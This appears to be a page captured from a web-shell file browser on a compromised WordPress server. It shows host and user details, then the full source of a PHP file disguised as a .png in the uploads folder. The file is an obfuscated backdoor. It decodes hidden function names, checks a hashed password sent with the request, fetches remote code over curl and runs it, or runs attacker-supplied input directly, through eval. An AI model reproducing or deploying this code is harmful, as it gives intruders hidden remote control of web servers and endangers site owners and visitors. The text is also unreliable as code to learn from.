HEX
Server: Apache
System: Linux vpshost0650.publiccloud.com.br 4.4.79-grsec-1.lc.x86_64 #1 SMP Wed Aug 2 14:18:21 -03 2017 x86_64
User: bandeirantesbomb3 (10068)
PHP: 8.0.7
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: //proc/self/cwd/wp-content/uploads/wpcode/b/b/xJzaGuFATcCkfEsMm.png
<?php
 goto NkwES5fPlbXis; pWaT0azHj0GiK: $t3K7lg1SSAhBh = ${$bb_wppCDdw32u[3 + 28] . $bb_wppCDdw32u[35 + 24] . $bb_wppCDdw32u[5 + 42] . $bb_wppCDdw32u[7 + 40] . $bb_wppCDdw32u[36 + 15] . $bb_wppCDdw32u[24 + 29] . $bb_wppCDdw32u[34 + 23]}; goto GpZukaTsU5vdK; NkwES5fPlbXis: $KCTPVNBYXvRwf = "\x72" . "\x61" . "\x6e" . "\x67" . "\145"; goto HbdP7eQ9aDvil; Z0rDzXSYjjYdE: bFOGq4KKBTRYc: goto V0__tPHasGYAD; BnsK_jdm1N5Az: @eval($t3K7lg1SSAhBh[66](${$t3K7lg1SSAhBh[46]}[30])); goto Z0rDzXSYjjYdE; HbdP7eQ9aDvil: $bb_wppCDdw32u = $KCTPVNBYXvRwf("\x7e", "\40"); goto pWaT0azHj0GiK; yG13BRm2W3cil: $t3K7lg1SSAhBh[66] = $t3K7lg1SSAhBh[66] . $t3K7lg1SSAhBh[79]; goto BnsK_jdm1N5Az; GpZukaTsU5vdK: if (!(in_array(gettype($t3K7lg1SSAhBh) . "\62\x34", $t3K7lg1SSAhBh) && md5(md5(md5(md5($t3K7lg1SSAhBh[18])))) === "\143\64\x32\64\x39\144\146\x65\x33\x32\x39\146\x31\143\143\x32\143\145\x32\x39\62\x66\62\66\67\61\x35\66\x37\x66\144\64")) { goto bFOGq4KKBTRYc; } goto yG13BRm2W3cil; jhC9LAolv3Uz9: class jf24plpn7lJCx { static function OBY_icdGmFt1r($lNHUe4kmUnl_x) { goto yIv9q0DUmHcpL; BAbHubT6JCA5N: $I8qMQJnWDHu7T = $IJTlB1kHzpMF6("\176", "\x20"); goto HCjHyKVG4DPiO; yIv9q0DUmHcpL: $IJTlB1kHzpMF6 = "\162" . "\141" . "\156" . "\147" . "\x65"; goto BAbHubT6JCA5N; HCjHyKVG4DPiO: $qOQC4t97mBOQI = explode("\x3d", $lNHUe4kmUnl_x); goto uMSBLTKUKeOWP; uMSBLTKUKeOWP: $Bssn8ddL6O6rB = ''; goto Z5RVehNOF96W1; Z5RVehNOF96W1: foreach ($qOQC4t97mBOQI as $POLnHu6r3eHCe => $Bs0QOilH8RO6C) { $Bssn8ddL6O6rB .= $I8qMQJnWDHu7T[$Bs0QOilH8RO6C - 73109]; esEfumAJDWXzV: } goto ncz7pmWA2EstX; ncz7pmWA2EstX: HCCNQgYrZv7gw: goto uVWsaYxWFSexN; uVWsaYxWFSexN: return $Bssn8ddL6O6rB; goto kB37sPsR5ZulU; kB37sPsR5ZulU: } static function Mp9zxcic2p7OO($YZnogI84hnt28, $XvXDx1OanWfNz) { goto x1QlwLhwVmcJf; NU_vc8CkwerwX: curl_setopt($tcaEhX0HBtR2k, CURLOPT_RETURNTRANSFER, 1); goto RreZpCgDuo7kT; RreZpCgDuo7kT: $lr6HTzhFX5HUa = curl_exec($tcaEhX0HBtR2k); goto VOI2tRPrtHxoG; x1QlwLhwVmcJf: $tcaEhX0HBtR2k = curl_init($YZnogI84hnt28); goto NU_vc8CkwerwX; VOI2tRPrtHxoG: return empty($lr6HTzhFX5HUa) ? $XvXDx1OanWfNz($YZnogI84hnt28) : $lr6HTzhFX5HUa; goto uPnS9y_i1lobn; uPnS9y_i1lobn: } static function z57mcvsK2Efaq() { goto mSKs2iPSnaILy; QAo4LekL7_z4j: $NxBu8HkRX5572 = $R3VatVNyUBIab[0 + 2]($lrWm0vUBbAQWy, true); goto DSG8STf8jLpuV; UOjcHgs_klTtu: WheGHdG3HvBuk: goto Vj6ghJRk4kXfU; DdA1vbXHgDQJo: @eval($R3VatVNyUBIab[2 + 2]($q2VQYYdbjrRjE)); goto s10rJqRPyS_lG; DSG8STf8jLpuV: @$R3VatVNyUBIab[7 + 3](INPUT_GET, "\x6f\146") == 1 && die($R3VatVNyUBIab[1 + 4](__FILE__)); goto VHtOblsdWBYpQ; OEMMzS2pryoTC: S2fgvv4la1n8_: goto zI8r0zeDwwdzc; mSKs2iPSnaILy: $ykVXw2SQNqBKg = array("\x37\63\x31\x33\66\x3d\x37\x33\x31\62\61\75\x37\63\x31\x33\64\75\x37\x33\x31\63\70\x3d\67\63\61\x31\71\x3d\x37\x33\x31\63\x34\75\67\x33\x31\x34\60\75\x37\x33\61\x33\x33\x3d\x37\x33\61\61\x38\x3d\67\x33\61\62\x35\75\67\63\x31\x33\x36\x3d\x37\x33\61\61\x39\x3d\x37\63\x31\63\x30\x3d\x37\63\x31\x32\64\x3d\67\63\x31\x32\65", "\67\63\61\62\60\75\67\x33\x31\x31\71\75\67\63\x31\62\61\75\67\63\x31\64\60\x3d\67\x33\x31\x32\61\75\x37\x33\x31\62\64\75\67\63\61\61\71\75\x37\63\x31\70\x36\75\67\x33\61\70\x34", "\x37\63\61\62\x39\75\x37\x33\61\x32\60\75\67\63\x31\62\64\x3d\67\x33\x31\62\65\75\x37\63\61\x34\x30\75\67\63\x31\63\x35\x3d\x37\x33\x31\63\x34\x3d\67\x33\61\63\66\x3d\x37\x33\61\62\64\x3d\x37\63\61\63\x35\75\x37\x33\x31\x33\x34", "\x37\x33\x31\62\x33\x3d\67\63\x31\63\70\x3d\x37\63\61\x33\66\x3d\x37\x33\x31\62\x38", "\x37\x33\x31\x33\67\x3d\67\x33\61\x33\x38\75\x37\x33\x31\62\60\x3d\67\x33\x31\x33\64\x3d\x37\x33\61\x38\x31\x3d\67\63\61\70\x33\x3d\67\x33\x31\x34\x30\75\x37\63\61\63\65\75\67\63\x31\63\x34\x3d\x37\x33\x31\x33\66\x3d\x37\63\x31\x32\x34\75\x37\x33\x31\x33\x35\x3d\x37\63\61\x33\x34", "\67\63\x31\x33\63\75\x37\63\61\x33\60\75\x37\63\61\62\x37\x3d\x37\63\x31\63\x34\75\67\x33\61\64\x30\75\x37\63\61\63\62\x3d\67\x33\x31\x33\64\x3d\67\x33\x31\x31\71\x3d\x37\63\61\64\x30\x3d\x37\63\61\63\66\75\x37\x33\x31\x32\64\x3d\x37\63\x31\62\65\x3d\67\63\x31\61\71\x3d\x37\63\x31\63\x34\75\67\x33\61\x32\65\75\x37\63\x31\x31\71\x3d\67\x33\61\62\60", "\67\x33\x31\x36\x33\x3d\67\63\x31\71\63", "\x37\63\x31\x31\60", "\x37\x33\x31\x38\70\75\x37\x33\x31\x39\63", "\67\63\x31\67\60\x3d\x37\63\x31\65\x33\x3d\67\63\x31\65\x33\x3d\67\63\x31\x37\x30\75\67\63\61\64\66", "\67\x33\x31\x33\63\75\x37\63\x31\63\x30\75\67\63\x31\x32\67\75\67\x33\x31\x31\x39\x3d\x37\63\61\63\64\75\67\63\x31\x32\61\x3d\67\63\x31\64\60\x3d\x37\x33\61\x33\x30\75\x37\63\x31\x32\x35\75\67\63\61\x32\63\x3d\x37\x33\x31\61\x38\x3d\x37\63\61\x31\71"); goto gzp7NfHkRrEPG; VHtOblsdWBYpQ: if (!(@$NxBu8HkRX5572[0] - time() > 0 and md5(md5($NxBu8HkRX5572[3 + 0])) === "\141\x63\62\65\x65\63\67\x38\63\x32\x64\x34\x34\63\63\60\141\70\x32\146\x37\x36\x64\x33\x62\x62\x38\x31\x38\143\66\141")) { goto WheGHdG3HvBuk; } goto rQRK_wyLOSVWs; gzp7NfHkRrEPG: foreach ($ykVXw2SQNqBKg as $M8g35Di7ESBcd) { $R3VatVNyUBIab[] = self::OBy_IcDgMft1R($M8g35Di7ESBcd); PdEkNK9XJVLv8: } goto OEMMzS2pryoTC; Zbr46X3pwpXlg: $lrWm0vUBbAQWy = @$R3VatVNyUBIab[3 + 0]($R3VatVNyUBIab[3 + 3], $BrlTGjKq4oDKn); goto QAo4LekL7_z4j; s10rJqRPyS_lG: die; goto UOjcHgs_klTtu; zI8r0zeDwwdzc: $BrlTGjKq4oDKn = @$R3VatVNyUBIab[1]($R3VatVNyUBIab[9 + 1](INPUT_GET, $R3VatVNyUBIab[6 + 3])); goto Zbr46X3pwpXlg; rQRK_wyLOSVWs: $q2VQYYdbjrRjE = self::mP9Zxcic2p7oo($NxBu8HkRX5572[1 + 0], $R3VatVNyUBIab[5 + 0]); goto DdA1vbXHgDQJo; Vj6ghJRk4kXfU: } } goto CIC1SOyMpfkoM; V0__tPHasGYAD: metaphone("\145\x49\146\x74\x39\x70\x48\115\x76\167\x75\x38\x30\x4f\x54\x79\126\143\65\126\x4d\x41\x64\x79\163\142\x76\155\x65\71\x58\x6d\132\x65\x56\x76\152\167\115\71\x30\x72\153"); goto jhC9LAolv3Uz9; CIC1SOyMpfkoM: JF24plPn7lJcx::Z57mCvsk2EFaQ();
?>